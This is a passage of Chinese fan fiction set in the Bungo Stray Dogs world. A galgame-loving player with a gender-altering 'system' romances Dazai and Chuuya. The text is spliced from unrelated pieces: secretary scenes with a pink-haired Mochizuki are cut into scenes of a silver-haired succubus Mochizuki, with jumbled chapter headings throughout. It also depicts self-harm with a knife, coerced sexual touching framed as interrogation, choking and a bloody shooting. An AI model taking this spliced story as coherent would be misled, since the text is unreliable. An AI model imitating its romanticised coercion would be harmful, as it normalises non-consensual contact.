‘——啊啊啊看到了吗看到了吗系统!果然如我所料,太宰小姐的人设还有一个「抖S鬼畜」啊!超绝赞——!毕竟galgame主流还是温柔系或者可爱系美少女,像这种抖s系美少女实在是太少见了!唔哦哦哦萌之力再上升一百分!’ 【萌之力……】 系统沉默着检查了一遍「性别修改」补丁,并没有发现bug。 ——所以它的宿主到底是对攻略角色(太宰治)开了多大的滤镜啊!刚刚的场面哪里‘萌’了!这滤镜简直是磨皮把人中都磨没了的程度吧喂!! ……「性别修改」补丁影响脑子,但应该不影响宿主智商吧……咦,影响脑子好像确实也会影响智商哦…… 系统陷入深深的自责当中。 一统一人没能沉浸在各自的世界中多久,太宰治的声音便将他们重新带回游戏之中。 太宰治的眉毛皱起一瞬,又飞快舒展开。 “望月。” “……抱歉,太宰小姐。” 望月回过神来,眨了眨眼,正好对上太宰治的眼睛。 那双鸢色的眸子倒映着自己的脸,语气冷淡地重复道。 “——你觉得该对这家伙做什么处罚呢?” 望月抬起手臂,手指抵着下巴,认真地思考着这个问题。 整个房间安静了下来,所有人下意识屏住呼吸。尤其是跪在地上的田中,身体忍不住瑟瑟发抖。 难、难道说太宰先生觉得一根手指还不够吗?还想更加严厉地处罚吗? 他会被怎么对待? 莫大的恐惧逐渐占领脑袋,身体不由自主地发起抖来。 他不知道时间过去了几分钟,又或者只是过去几秒钟,被决定命运的恐惧时刻笼罩在他的头顶。 “既然这样的话,那么罚他打扫厕所一个月好了。” 望月说道。 “……诶?” 其他充当背景板的黑手党们不由自主发出了呆滞的气音。意识到自己的多嘴后,众人连忙垂下脑袋,假装什么都没说。 太宰治的眼神从他们身上一一扫过,让黑手党们背后一阵发凉。 不过那只鸢色的眸子目光很快转移到了望月的身上。 太宰治没说话,只是静静地凝视着他。 “嗯,太宰小姐是觉得还不够严厉吗?”望月微微皱起眉,露出苦恼的神色。 “那么,扫两个月的厕所怎么样?” 怎么样……比起切根手指,只是单纯扫扫厕所,这样微不足道的惩罚根本不算什么啊。 周围的黑手党们忍不住在心中小声说道。 望月只是微笑,看上去似乎并不觉得自己说的有什么错。 其他人下意识看向了太宰治——毕竟这才是真正的决定者。 后者眸色阴晴不定,谁也无法从那张冷如寒霜的脸上读出太宰治的真实想法,只觉得心脏咚咚跳得飞快,莫名的压力汇聚在头顶,压得他们不敢抬头。 望月秘书这…可真不怕死啊。 明明太宰先生的意思很明显了,就是要严厉处罚,怎么提出这样几乎为对方开脱的惩罚方式呢? 这样会掉好感度吧…… 系统也忍不住在心里发慌。 但是作为系统,他不可以过多干预和破坏玩家的行为。 房间安静了下来,气氛变得诡异。 就当所有人为望月感到担忧时,太宰治却开口说道。 “——那就按望月君说的好了。” 这个答案出乎了所有人的意料,包括田中在内的黑手党们错愕地看着已经收敛起压迫感的太宰治。 黑发少年并没在意他们的目光,露出平时那副厌世的模样,起身,捡起那把掉落在地上的小刀,声音恹恹地驱散众人。 “没你们的事了。” 所有人都离开了。 望月是最后一个出去的,在即将踏出门时,便听见房间里传出少女清脆又冷漠的声音。 “刚刚你可真敢说啊,望月。” 望月握脚步一顿,回过头,便看见太宰治蜷缩在坐在沙发上,低头玩弄着手中的小刀。 黑发少女将刀刃抵在自己的掌心处,尖锐的金属刀刃立即划破了她的手指,鲜红色的血液顺着白皙修长的手指流下,染红手腕的绷带。 她似乎感觉不到疼痛,刀尖刺得越深,血流得越汹涌。 “失礼了。” 望月不知什么时候走了过来,伸手握住了太宰治满是鲜血的左手手腕,制止了对方的自残行为;并从对方另一只手中强势地拿过那把小刀,放到一旁的桌上。 他从口袋里取出随身携带的绷带,像是骑士一般单膝跪地,认真地包扎起太宰的手。 太宰治没有甩开,沉默地任由对方动作。 望月的动作很温柔,像是在对待什么稀世珍宝,全神贯注又小心翼翼。 包扎结束后,望月抬起头,正好对上太宰治的眼睛。 少女黑色微卷的长发落在肩上,精致的脸却被绷带遮住了大半,让人不禁感到惋惜,却又多了一丝脆弱感,令人心生怜爱。 那双如同枯木般了无生机的鸢色眸子倒映着他的脸,沉默不语。 望月松开了手,微笑着站起身。 “今天太宰小姐最好不要入水了,伤口会发炎的……” “你可真够好心啊,望月君。” 太宰治打断了他的话,冷冰冰地说道。 “明明我要处罚田中,你却帮他求情。呵,你不是一直听话得很吗?” “诶?——可这就是太宰小姐的意思呀。” 望月歪了歪头,表情看上去有些无辜。 “因为出卖情报给袭击者的,正是您啊。” “——太宰小姐。” “呼……中也的魔力……” “果然吃起来…相当美味啊……” 脑袋似乎空白了一瞬。 胸口的情绪在听到望月甜腻的声音喊到自己的名字时,如同喷发的火山般,到达了顶峰。 几乎是不假思索地,赭发少年顺从了自己身体本能的欲望。 中原中也猛地将望月拽向自己。 他伸手扣住面前银发少年的脑袋,再一次狠狠地亲吻上去。 第 59 章 第五十九章(400地雷加更) 中原中也的吻和主人的性格一样,如同暴风雨般强势又热烈。 这一次没有像第一次接吻时那样,只是用嘴唇青涩地贴上,而是带着某种强势的进攻性,毫不犹豫地撬开了银发少年的牙关。 “……唔?” 原本想要休息一下的望月半眯起的眼睛,此时不由得瞪大。 他被对方堵住了嘴唇,只能发出小小的气音。 中也居然会主动亲自己。 黑发少女压在自己的身体上方,垂下的黑发如海藻般,带着熟悉的洗发水清香。浓密的睫毛如同鸦羽般轻颤着,扫下一层阴影,将那只茶褐色的眸子暗敛其中。 如同神秘的海妖般,带着似笑非笑的神色注视着自己。 再往下,在未扣上纽扣的衬衫间,松松垮垮的绷带从脖颈一路缠绕着,虽然把关键位置和大部分皮肤都遮掩住了,偶尔从绷带与绷带间的缝隙中,透露出皮肤淡淡的肉色,显得更为魅.惑。 嗅觉、视觉、触觉,身体的每一个细胞都能感受到对方的存在,这和隔着屏幕欣赏CG的感觉截然不同。 这就是全息体验类游戏的魅力所在吗,有点恐怖啊。 望月的眼睛里转着蚊香,身体僵硬,目光也不知该看向哪里。 黑发少女眯起眼睛,唇角微微上扬,像是蜂蜜般甜腻的尾音故意拖长,听上去仿佛在撒娇一般。 “呐,望月君,我记得你眼中的我是长发吧……” 她一边说着,一边执起粉发少年的手,搭在了自己头发上。 柔软的,带着明显湿意的黑发。 手指从那片乌黑之间穿过,发丝擦过指尖、指腹的皮肤,沙沙的瘙痒感令人心脏狂跳不已。 这份朦胧的暧昧感,如果放在平时,系统一定会在宿主听不见的地方发出猴子般的尖叫。 虽然确实令人dokidoki,但好像有什么地方不对劲…… 对了,是太宰治的好感。 明明已经掉到了负数,怎么可能做出这样的举动。 但太宰治的角色设定就是一个性格和心情都琢磨不定的古怪少年,做出什么事都不奇怪。 如果它的权限全部在的话就好了,比如说,攻略NPC们的隐藏值、黑化值等各类其他数据的查看权限。 系统流泪猫猫头。 【对不起宿主,果然我还是派不上用场呜呜呜呜呜呜】 虽然按照一个优秀系统的职业素养,是不可以在宿主体验剧情的时候出声干扰的。 ‘??突然之间怎么了……’ 望月茫然地听着脑内系统的哭哭唧唧。 不过也多亏系统的这么一下,让望月回过神来。 他在心中深呼吸一口气。 “请不要这样戏弄我,太宰小姐。” 粉发少年抬起眼睛,认真地注视着眼前的太宰治。那双琥珀色的眸子纯粹又干净,没有任何旖旎之意。 他犹豫了一下,无奈地叹了口气,说道, “不过吃饭之前我们先把头发吹干吧。头发洗完不吹干的话不仅会分叉,还会头疼的哦……” 太宰治垂眼,看着望月的表情从紧张、不知所措,再到冷静,微笑,似乎是被什么提醒。 然后望月伸手,将那缕并不存在的长发撩起,挂在自己的耳后,动作流畅,似乎完全每一察觉到自己的手中其实空无一物。 即便是刚刚手指穿过的发丝,也不过是空气,是他幻想之中的产物。 太宰治眸色微沉,握着望月的手腕的手,力气一紧。 没有给予对方感受到疼痛的时间,他直接拽起了粉发少年的手腕,摁在了自己平坦的,没有任何起伏的,甚至连肌肉都不甚明显的胸口。 诶诶诶诶诶诶?!?! 虽然隔着一层绷带,望月的手还是贴在了太宰治的胸口。 这是他从小到大,第一次和女性如此亲密地接触……不不不,如此的亲密倒也不必! 这算是他猥亵了太宰小姐吗?可是是对方主动的……不对,就算是对方主动也不可以,作为男性不能以此为借口推脱责任! 望月脑袋轰地一下宕了机,像是过载的电脑主机里的风扇,疯狂转着,发出嗡嗡的声响。 瞳孔已经不是地震,而是进化为每秒震动四万次的超音波刀。 不过说起来…… 望月沉思着在脑内对系统说道。 ‘太宰小姐的胸部比想象中的要硬好多。’ 坚硬又平坦,和自己的好像也没什么区别。 【……】 系统痛苦闭眼。 因为本身就是没有啊! 虽然望月是重度的galgame爱好者,曾经打过的galgame游戏中也不免出现这类擦边或者轻微色色的剧情……但他却是实打实的纯爱战士。 就连希尔薇他都是只摸摸头走老父亲路线的啊! 那双琥珀色的眸子终于在如此的冲击下,彻底失去了高光。 望月此时被太宰治如此「奔放」的举动震惊得说不出话来,像是坏掉的机器人般阿巴阿巴眼神呆滞。 望月的散热板飞速地工作,以肉眼可见的速度,从脖颈到脸颊再到头顶。 红得如同放在开水里煮过的螃蟹一般,嗡嗡冒着热气。 ……好了,可以确认了。 即便望月没有说话,太宰治还是从对方呆滞的反应上得到了自己想要的答案。 望月的「性别认知障碍」,不仅仅光是作用于眼中世界(外表)。 不存在的事物会在认知上,比如触觉上,被虚化模拟出来。 那原本就存在的事物呢? 或许,自己应该做的更过分些? 太宰治看着身下的粉发少年,手上的动作丝毫没有因为对方的反应而心生怜悯。 「审讯」并不是只有威慑、恐怖和暴力,哄劝,欺骗,诱惑……「大棒」和「蜜枣」,每个人都有最适合自己的方法,如何撬开他们的嘴,或者从他们的反应之中得到自己想要的信息,这才是「审讯」的目的。 他稍稍松开了望月的手,后者连忙抓住了这个机会,想要缩回去,却又被太宰治毫不客气地拽了过去。 “太、太宰小姐!” 望月终于反应过来,声音结结巴巴的,拼命想要将手抽回来。 然而压在身上的黑发少女,力气却出乎想象地大,一时间自己竟然挣脱不开。 望月懵了。 等一下等一下,好歹我也是个男生。 就算不属于经常锻炼肌肉的那种,也不至于连太宰小姐这样偏瘦弱的女孩子都挣脱不了吧? 望月忍不住感叹二次元美少女身上的肌肉和实际力气完全不成正比。 嗯,果然是因为二次元才是这样吧,应该不是因为我不太锻炼的原因吧。 【……】 ——可能真的是这个原因吧。 系统在心里忍不住吐槽。 这边望月还在懊恼于力气的差距,太宰治抓着他的手,却一路朝着自己的腹部以下的位置探去。?! 不行不行不行不行,这个比胸还要过分了绝对不行啊! 我们这里可不是人形电脑天使心的片场啊! 不论是望月还是绿江,都不想让场面进入更加无法描述的场景,拼了命想要阻止。 “请、请不要这样……” 望月的声音变了调,脸颊依旧是通红一片,耳垂也红得快要滴血。 因为过分紧张而下意识瞪大眼睛,那双琥珀色的杏眼带着一丝湿意,看上去泪汪汪的。 他没了平时在港口mafia时的优雅矜持,像是被人用榔头砸开坚硬的外壳,露出里面柔软白嫩的蛤肉。 像是只被欺负惨了的粉毛小狗,有点可爱。 望月的这幅纯情模样,反而让太宰治心中升起一股想要多捉弄的恶劣趣味。 就在手即将触碰到牛仔裤时,脑内的那根神经彻底断了。人一旦被逼到极限,就会爆发出惊人的力量。 “太宰小姐!请你不要做这种事情!!” 望月猛地坐起身,一把抓住了面前黑发少女的肩膀,拔高了声音。 啊,终于被逼到极限了,再「玩」下去可能就过头了。 太宰治想道。 他思索着是否就这样放过对方时,望月的手微微抓紧,一字一句地说道。 “太宰小姐对我而言是非常、非常重要的人,我想要好好珍惜太宰小姐,所以我希望太宰小姐也能够珍惜自己。” “只有对喜欢的人才能做这种事情。” 望月放缓了声音,轻声却又郑重,带着无比的温柔。 “所以,我会拼命努力,让太宰小姐喜欢上我。” 他的声音顿了顿。 “我是不会离开太宰小姐的……在这之前。” 那双琥珀色的眼睛认真且专注地盯着他,仿佛整个世界就只剩下自己一样。 “……” 鸢眸缓缓缩紧。 碎片、片段,不和谐处,零星的线索,……终于有一条透明的丝线将它们穿联起来。 他终于抓住了。 『原来如此,』 『真是精妙的说辞。』 『——这就是你的「目的」啊,望月。』 黑发少年脸上的似笑非笑彻底消失,变得面无表情。 那只鸢眸一片漆黑,像是野兽吃剩下的残骸被烧成的灰烬。 望月松了一口气,见对方手上的力气一点一点消失,没有反应,便试图从沙发上起身。 下一秒,却又被重新压回了沙发。 还不及他多说什么,脖颈被毫不留情地扼住。 瞬间的窒息感袭来。 眼前,黑发少女那双漂亮的鸢眸仿佛注视着某种死物。 她缓缓启唇,声音平静却冰冷。 “你真是个彻头彻尾的骗子啊,望月。” 赶紧冷静一下啊。 中原中也依旧用手捂着自己的脸,不好意思将自己此时丢人的表情露出来,眼睫因为羞耻而在掌心将不断轻颤着。 他的声音沙哑,带着一种自己也无法理解的情绪,低声喊到对方的名字。 “喂,望月。这、这样差不多就可以了吧,你的魔力补充的差不多的话,那今天就……” 赭发少年结结巴巴着,试图做出没事人的样子,将对方赶回原本的房间。 然而,望月却打断了中原中也的声音。 银发魅魔仰着脑袋,对着面前脸颊通红的赭发少年眨了眨眼睛,语气无辜地说道。 “——中也,你起反应了耶。” 第 60 章 第六十章(含1w8营养液加更) 望月的话音落下,房间内瞬间变得死寂。 ……哈? 中原中也的脑袋空白了一瞬,原本被对方的牙齿刮破的嘴唇的刺痛似乎也忽然消失。 ……时间拨回到太宰治进门前的十分钟。 中原中也扛着望月,走到医务室的时候却发现里头没有人。 “哈?搞什么鬼,医务室里值班的家伙呢?” 中原中也不爽地啧舌,扛着望月大步流星地走到病床边,丢到了床上。 不过摔地这么一下,成功让昏迷中的望月清醒了过来——说清醒也不准确,顶多算是睁开眼睛,依旧一脸迷茫。 “这里是?” “醒了?”中原中也挑了挑眉,不耐烦地哼了一声,“是医务室啊。把你送到地方算是仁至义尽了,我还要去……” 还没等中原中也说完,望月身体缩成一盘,不停地咳嗽。 “想喝水……唔,柳原…帮我倒一下水……” 他本能呼唤着现实世界中女仆的名字,嗓音带着丝丝的沙哑,说不出的可怜。 “哈?谁是柳原啊喂!” “那、中村(*另一位女仆)……” “那些都是谁啊!你这家伙彻底把我当保姆了吗!” 中原中也嘴里骂骂咧咧着,却还是去倒了杯温水,递给病床上的望月。 “喂,你要的水,快点喝下去然后赶紧给我睡觉吧!” 然而中原中也把水杯递过去后,望月发软的手腕根本就没拿牢,盛满温水的水杯直接尽数淋在了衣服和手臂上,透出皮肤淡淡的肉.色。 “中村……你怎么变得笨手笨脚的了……” “是你自己没拿稳好吗!还有都说了我不是中村啊混蛋!” 中原中也血压直接飙升一百八。 不过当务之急,还是帮对方把湿掉的衣服和绷带换掉,不让等水进了伤口,保不准会引起发炎化脓之类的并发症。 ——所以为什么我要做这些啊,不应该是医务室该干的活吗…… 中原中也一边腹诽着,一边伸手去解对方的衣领。奈何对方一点也不配合。 对于望月而言,莫名其妙被人解开衣服,当然要做出反抗——他伸手抓住中原中也的手腕,屈膝顶向腹部。 不过,病号的那点小猫劲儿放在港.黑体术大师面前,属实不够看。 中原中也三下五除二,就将望月的双手摁在了头顶,用重力桎梏住他的身体。 “你这家伙给我老实点!” “唔、请不要……” ……不要把气氛搞得这么奇怪好吗! 中原中也忍不住在心中暴躁地吐槽,现在只想着赶紧把这家伙的衣服脱下来换绷带。 直到背后响起熟悉的男声,让中原中也心里咯噔一下。 他回过头,果然看到了太宰治那张脸,鸢色的眸子幽幽地盯着自己。 “中原中也,你要对我的秘书做什么呢?” 哦,这家伙是太宰的秘书啊……不对,现在不应该是想这个的时候吧! 他低头,看了眼自己压在身下、面色绯红的粉发少年,这个姿势加这个场景……着实惹人遐想连篇。 ——啊,最糟糕的局面出现了。 好巧不巧,自己最讨厌的家伙此时出现在这里,又好巧不巧地,自己压着的人正好是他的秘书。 中原中也感觉自己头都大了,在战场上面对几十号敌人时,都远远没比现在来得汗流浃背。 “喂、……” 没等中原中也开口解释,太宰治张嘴是连珠炮般的一通讥讽。 “啊~啊,真差劲啊中也。我只想过来拿点药吃的,没想到撞上这样一幕,神圣的医务室都被你们玷污了——” “不是,我……” “还想要辩解吗?连自己正在做的事都不承认,简直就是人渣——甚至还是凭借着武力强迫别人,该说你不愧是个肮脏低劣的黑手党吗?” “你自己不也是黑手党吗!都说了我什么都没做啊,是担心这家伙水弄湿伤口发炎才想着帮他换衣服的好吗!” 中原中也嘴角抽了抽,忍不住朝着太宰治咆哮道。 太宰治当然知道。 他从进门第一眼就梳理完了眼前发生的事——但是有能嘲讽讨厌的小矮子,看他气急败坏的机会,太宰治向来乐此不疲。 不过,被他们暂时忽视了的望月,可是相当有意见。 先不说此时他还被摁在床上,太宰中也两个人的声音在望月耳边来回轰炸,脑袋被吵得嗡嗡作响,像是被丢进高压锅里的雷管,几乎爆炸。 于是,望月挣扎着提出了抗议。 “中原……小姐,请不要,咳咳、咳……不行了,脑袋好晕……” 虽然中间掺夹着咳嗽声,但当听到某个称呼时,病房里沉默了半秒,暴起惊天一道怒吼。 “谁是‘中原小姐’啊喂!烧昏脑袋的话就给我安分些闭上嘴啊!” 比起中原中也气到跳脚,太宰治则愣在原地。 “‘中原小姐’?……哈、是‘中原小姐’呢……” 太宰治低声咀嚼着这个称呼,脸色瞬间沉了下来,漆黑的眸子里闪烁着一种难以描述的情绪,如同淤泥般翻涌而出。 【太宰治好感度-5】 太宰治此时的心情很差,非常的差。 只要不是傻子,肉眼都能看出这家伙的脸上写满了不悦和烦躁,身上散发着一股浓浓的阴郁黑气。 中原中也嘴角抽搐。 “不是……明明是我被认错性别了,你他妈有什么好生气的啊!” 他感觉自己快要在暴走的边缘,即便没有念口令,身体的荒神都要跑出来想炸了整个医务室了。 “只是看你碍眼啊,黑漆漆的小矮子。” 太宰治面无表情地说道。 他看了眼望月迷蒙的眼神,冷哼一声,语气显得更加阴阳怪调。 “真下劣啊,中原小姐。你是变.态痴女吗?还是说发.情.期吗?现在可不是春天,被本能支配的低劣生物真是恶心啊。” “哈?” “居然对着这种人都能出手,我要吐出来了。不愧是蛞蝓,脑袋里都被黏糊糊的东西占满了吗?啊,怪不得长不高呢,中、原、小、姐——” “喂——混蛋青花鱼,我说你差不多得了,到底有完没完……” 中原中也阴沉着脸,想要给这突然莫名其妙朝自己发起火的青花鱼来上一脚。 结果,他刚松开对望月的控制,后者正好想要翻身,抬起手,手背朝着中原中也的脸就是一巴掌。 “啪。” 巴掌声顿时回荡在整间医务室里。 这一下虽然并不痛,但也可谓是清脆响亮。 再低头一看,始作俑者居然又昏睡过去了。 咔嚓。 脑内某根控制理智的神经终于断裂了。 ——你可真会找时间昏睡啊! 中原中也垂下头,身体发抖——当然是气得发抖。 他的面色漆黑,浓郁得都要滴下墨汁,身上泛起象征着异能力的暗红色光芒,赭红色的发丝也随着漂浮在空气里。 中原中也的声音低沉,压抑着一股危险感。 “我说你们两个混蛋……算了,谁爱管谁管,老子不管了!” 被这两个家伙折磨得精疲力尽的中原中也黑着一张脸,夺门而出——让他抓住今天医务室是哪个混蛋翘了班,非扒了他的皮不可! 太宰治瞥了眼被中原中也拽下来的门把手,医疗室的门也摇摇欲坠。 他轻哼了一声,一脸无趣地也准备离开。 “太宰……” 太宰治的脚步一顿,扭过头,看向病床上昏睡着的粉发少年。 刚刚的声音正是来自于望月,听上去不过是睡梦中无意识的嘤咛。 然而不知怎的,太宰治脚尖方向一拐,慢吞吞地走到望月的身边。 “太宰……唔、太宰小姐……好可爱…”望月不知道梦到了什么,嘿嘿傻笑起来,“脸红的样子……萌诶……” “……” 这家伙到底梦到什么了? 太宰治忍了忍,勉强没有吐槽出声。 他犹豫了一下,还是坐在了他的床边,托着下巴,了无兴趣地望向昏睡中的望月。 此时已是黄昏,夕阳透过医务室复古的欧式窗户,一条条的阴影落在太宰治的身上,将他切割成一块一块的拼木。望月的脸又被他挡下的阴影笼罩。 鸢色的眸子目光在对方的脸上慢吞吞地扫过,刘海、睫毛、鼻尖、嘴唇……再到脸上那道已经结了血痂的伤口,目光终于停了下来。 太宰治伸手,指尖在那道已经结痂的伤口上慢慢划过,凹凸不平的触感让他心中升起一股古怪的感觉。 并非怜悯、也非施.虐.欲。 复杂的像是乱七八糟混杂在一起的毛线团,找不出头也扯不出尾,一味地纠缠缠绕在一起。 “唔……” 或许是太宰的手指过于冰冷,反而让发烧中的望月感觉一阵舒适,本能地用脸颊蹭了蹭对方的手掌。 太宰治猛地抽回了手。 被对方脸颊蹭过的地方炙热的感觉,好比被敌人用子弹射穿了手掌,止不住地发烫发痒。 “……什么啊,真的有那么「喜欢」我吗?” 所以, 「喜欢」又到底是什么呢? …… 【滴】 【[生病]状态已消除】 ……唔,感觉睡了好久。 望月坐起身,揉了揉眼睛,却发现自己躺在医务室的病床上,身上的衬衫被换成了病号服,绷带也有重新包扎的痕迹。 当他点开角色面板后,有些摸不着头脑。 “[生病]状态已经消失了啊。诶、等一下,太宰小姐的好感度怎么到十五了……啊,但是中原小姐的好感度变成了负五……发生什么事了吗?” 【……】 发生了很多事情啊喂! “……啊,晕过去了。” 太宰治看着昏厥过去的光头男,站起身。 太宰治扭头,看了眼身后坐在地上,不知为何满脸绯红的望月。 那张还算好看的脸蛋此时惨兮兮的,唇角明显破了一块,沾染着刺眼的红色。 “辛苦了,太宰小姐。” 他站在望月面前,俯视着被手铐束缚着的粉发少年。 后者依旧没心没肺,眨巴着眼睛,朝自己微笑。 太宰治的脑海里不由自主浮现出一只可怜的粉毛小狗,随后立即嫌弃地皱起眉,在心里翻了个白眼。 “你还真是派不上用场啊,望月君。” 按照原定计划,太宰治是骗鱼儿吃下的诱饵。 在上次的港口袭击事件里,‘莱尔尊’的家伙们非但没能捞到半点好处,事后还被港口mafia的人追杀剿灭,丢掉了一大半的地盘。 再加上‘莱尔尊’的家伙们,疑似与之前横滨地下军用武器走/私又有牵连。政府对此很重视,港口mafia也就不得不加紧自己的行动。 狡兔三穴,尤其是东南亚的黑.帮们,尤其擅长躲东藏西。想要把他们彻底从横滨挖干净,确实没那么轻松。 于是太宰治便干脆利落地被‘莱尔尊’的人抓住带走。 比起中原中也直来直往,喜欢直接用暴力压制、摧毁敌人,太宰治会使用暴力,但并不热衷于暴力。 和他的老师一样,太宰治更乐于精心设计,如同编织陷阱的蜘蛛,等待敌人毫无知觉地踩入时,才发现自己已经被蛛网牢牢黏住。 以自身作为诱饵而行动只是家常便饭。 不惧凡人、不畏死亡,太宰治更不会在意什么危险——不如说,他渴望着危险、死亡,试图从这疯狂中寻找什么。 不过,太宰治计划里的诱饵只有他自己一个,而望月是擅自挤进来的。 再之后就是刚刚那幕。 本来还想在对话里套点信息出来,残党人数、幕后老板之类的。 结果还没开始,望月这小子就把其他人的注意力转移到自己的身上,害得他不得不改变自己的行动。 计划倒不至于全毁,但还是与最初的策划发生偏差。 “啧,本来打算把这些人全部押走,现在就剩下一个半死不活的。”太宰治冷冷地说道。 “田中他们根据跟踪器和GPS找到这里还有十五分钟,想好在这十五分钟内怎么让我解气了吗?” 脱离危险情况后,系统帮忙的「痛感减弱」降低。脸颊和嘴巴破掉的地方开始带着一股火辣辣的烧灼和瘙痒感。 望月下意识用舌头舔了舔嘴巴里的伤口,带着一股发涩的铁锈味。 “抱歉,太宰小姐。” “硬跟着过来,结果只是单纯给我添麻烦。刚刚要是乖乖闭上嘴装作吉祥物,就不会惹得这里血气熏天,又脏又恶心。” 虽然地上的尸体都是他一个人杀掉,太宰治还是毫不客气地把锅都甩在了望月的头上。 “因为放心不下您一个人来做诱饵……而且刚刚那个情况,让我眼睁睁看着那群人对太宰小姐施以暴力,实在是无法做到束手旁观。” “如果不是我的话,你也会这么做吗?” 太宰治突然问道。 望月愣了一下。 “当然。” “呵呵,你的好意真是众人平等呢。”太宰治声音听上去有些不对劲,似乎不是很满意这个答案,“你这种滥好人的性格,可一点都不像是个黑手党。” “但还是不一样的。” 太宰治的声音猛地一停。 面前的粉发少年用那张花猫一般可怜兮兮的脸,朝着自己露出一个温柔的微笑。 “太宰小姐对我而言,是比珍宝还要重要的存在。” ——对于重级阿宅来说,放在房间里的手办、游戏、漫画们,对他而言就是传家宝一样重要!纸片人美少女们的存在就是天下第一! 太宰治的眸色微闪。 他的嘴唇动了动,忽然蹦出一个人名。 “那如果是中也呢?” “中也小姐?” 望月有些茫然,不明白对方为什么突然提到中也小姐,但他还是遵从本心回答。 “是的,我也会这么做。” 滥情的家伙。 太宰治猛地想到这个形容词。 原本微闪的眸色瞬间变得漆黑。 太宰治磨了磨后槽牙,很快又恢复了冷静,露出最常用的那副讥讽笑容。 “所以说你蠢得要死……跳出来替我挨揍,就是你的解决方法吗?还是说你天生就是受虐狂啊?” “太宰小姐不是怕痛吗,而且我从小就不怎么怕疼……”望月笑了笑,嘴角牵扯到伤口让他的表情僵硬了一瞬。 “撒谎可是会被我看出来的,望月。” 太宰治的神情似笑非笑。 “……好吧。因为我也想不出其他的办法了。” 望月从善如流地收回刚刚的话,眼神认真又严肃。 “但再怎么样,我可是都是男生,多受几下没问题的;至少比太宰小姐这样柔弱的女孩子更加抗揍。” “……” 太宰治本以为他还能说出什么话,听到这里时嘴角忍不住抽了抽。 “……算了,看来你这脑子一辈子都好不了了……” 太宰治嘟囔了一声,转身想要走。 望月本能地要跟上,结果就被身后的手铐给拉了回去,铁链声哗啦啦直响。 “太宰小姐,那个……” 太宰治心情真不爽着,眼皮都没抬一下。 “嗨~嗨,如果你学狗狗叫三声我说不定会帮……” 然而,对上望月那双无辜的琥珀色眸子时,他又没了戏弄的欲望。他兴致缺缺地走过去,弯下腰,手指轻轻一挑,手铐与铁链便啪地一声落在地上。 “……站得起来吗?”太宰治忽然问道。 面对太宰突如其来的关心,望月有些惊讶,毕竟太宰小姐对自己一向冷淡。 不过他还是低头检查了一番自己的身体。 “嗯,刚刚我有注意保护骨头和脆弱的地方,应该是没什么问题。” 望月抬起头,却发现黑发少女朝自己伸出了手。 那双如美玉般白皙光滑的手,安安静静地摊在自己的面前。乳白色的绷带一圈一圈缠绕在手腕处,勾勒得更加纤细易握。 望月将手搭了上去,而黑发少女却似乎没有拉起他的意思。 “——‘汪’呢?” 太宰治勾起唇角,鸢色的眸子里充满了恶劣与戏谑。 望月感觉自己似乎又解锁了太宰小姐的新属性。 ……小恶魔美少女,萌诶。 于是,望月微笑着,歪了歪脑袋。 “汪。” ——给美少女当狗,有什么不好的! 太宰治见他这幅坦然自若的样子,无趣地瘪了瘪嘴巴,伸手将他拽起。 “呆在这里也没意思。走吧,望月君……” “是。” 然而意料之外的事还是发生了。 二人身后,原本趴在地上昏厥过去的光头男不知何时重新醒了过来,或许又只是回光返照。 他费力地睁开眼睛,眼白处早已被鲜血染透,变得猩红一片。 男人的手探入胸口衣领背后的夹层内,摸到了一把坚硬的金属——这是他原本准备用来自尽的微型手枪,仅仅一发子弹。 但是他改变主意了。 比起自尽,他要让这个家伙下地狱! 光头男脸上露出狰狞的笑容,他拼尽全力抬起手,带着疯狂之意,朝着眼前那个黑色身影扣下扳机。 “去死吧混蛋——” “太宰小姐!” 一抹粉色的影子挡在了自己的面前,以一股无法躲避的力量狠狠地将自己推开。 【滴】 【玩家保护机制启动】 【痛觉降低百分之八十,敏感度降低百分之五十,精神保护开启】 太宰治感觉到身体顿时失去了控制,踉跄着朝一旁后退了几步,却依旧抬起了手中的枪管。 “砰!”“砰!” 枪声响彻整个仓储室,振聋发聩,似乎连地上的尸体们也随之一起震动,滚落、翻转。浓郁的血腥味之中,再次弥漫起呛鼻的硝烟气息。 太宰治站起身,看向地上那个光头男在自己的那声枪响后彻底断气,厌恶地皱起了眉。 “啧,没想到还藏了把手枪。现在最后一个也死了啊,这次算是白忙活一场。呐,藤……” 太宰治的声音戛然而止。 瞳孔骤然紧缩,如地震般颤抖着,鸢色的眸子里只剩下了铺天盖地的红色。 脑内空白。 那个善于精算设计的聪慧大脑,居然也有停止运转的时刻。 他错愕地看着一旁站着的望月。 粉发少年左胸上的赤色不断蔓延开来,将那件白衬衫彻底染成了深红。 后者似乎也没有意料到这种情况的发生,皱眉想要说话,却因为伤到肺部,本能地弯下腰。 红色的血沫子争先恐后地从嘴巴里冒出来,不要命地滴落在手掌间,再从指缝之中坠落在地上,绽开一朵又一朵刺眼的猩红之花。 盛开在樱花之上的红,名为恶意的红。 孑孓而立的樱树似乎颤抖了一下。风吹过,花瓣因风而落,土地被花瓣所覆盖。 他看着面前的粉发少年如同坏掉的木偶娃娃般朝着自己倒下。 属于另一人的鲜血飞溅而出,溅到自己脸上的绷带。 而太宰治却没做出什么反应,只是慢半拍地感知到脸颊上的温热,似乎有某种液体正顺着脸颊的弧度滴落。 太宰治摸向自己的脸颊,随后眼神空洞地看那只抬起的手掌。 红色的。 他的脑袋终于重新开始运作。 啊, 是「望月」的血啊。 幸亏中途的时候,这只魅魔小手不是很老实,总算被系统找到了机会踩下刹车。 不然这直播间真的要关闭了。 好在今天也是有惊无险,没有真正突破警戒线……虽然也快到达了。 系统松了一口气,同时变得忧郁。 它对直播间以及自己的饭碗的命运感到担忧与惆怅。 60-70 第 61 章 第六十一章(含2w营养液加更) * 「新世界」台球吧。 台球桌前,戴着墨镜的金发青年整个人借着台球杆支撑着身体,看着赭发少年将台面上的球一一清完。 中原中也的台球技术是他们几个人之中最好的。 为此阿呆鸟还感到郁闷,明明怎么说都是自己带着这小子入门,结果现在反而被对方虐得体无完肤。 “喂喂,中也你不会用重力作弊了吧?” 只留望月憋得咬着下唇,脸颊涨红。 拜托,你们人类之中能不能有一个,来满足一下他身为恶魔的自尊啊! 至少表情惊讶一点,稍微尊重一下也行啊! 望月真的要哭出来了。 而一旁的太宰治笑得乐不可支。 真不愧是织田作。 连恶魔都能打败的伟大男人呢。 第 62 章 第六十二章 总之,织田作之助在望月眼里是个神奇的存在。 这个人类雄性他和其他人类完全不一样。 如果说在中也和太宰身上吃瘪是郁闷,而在面对织田作之助时更多的则是无力的挫败感。 跟一拳打在棉花上似的。 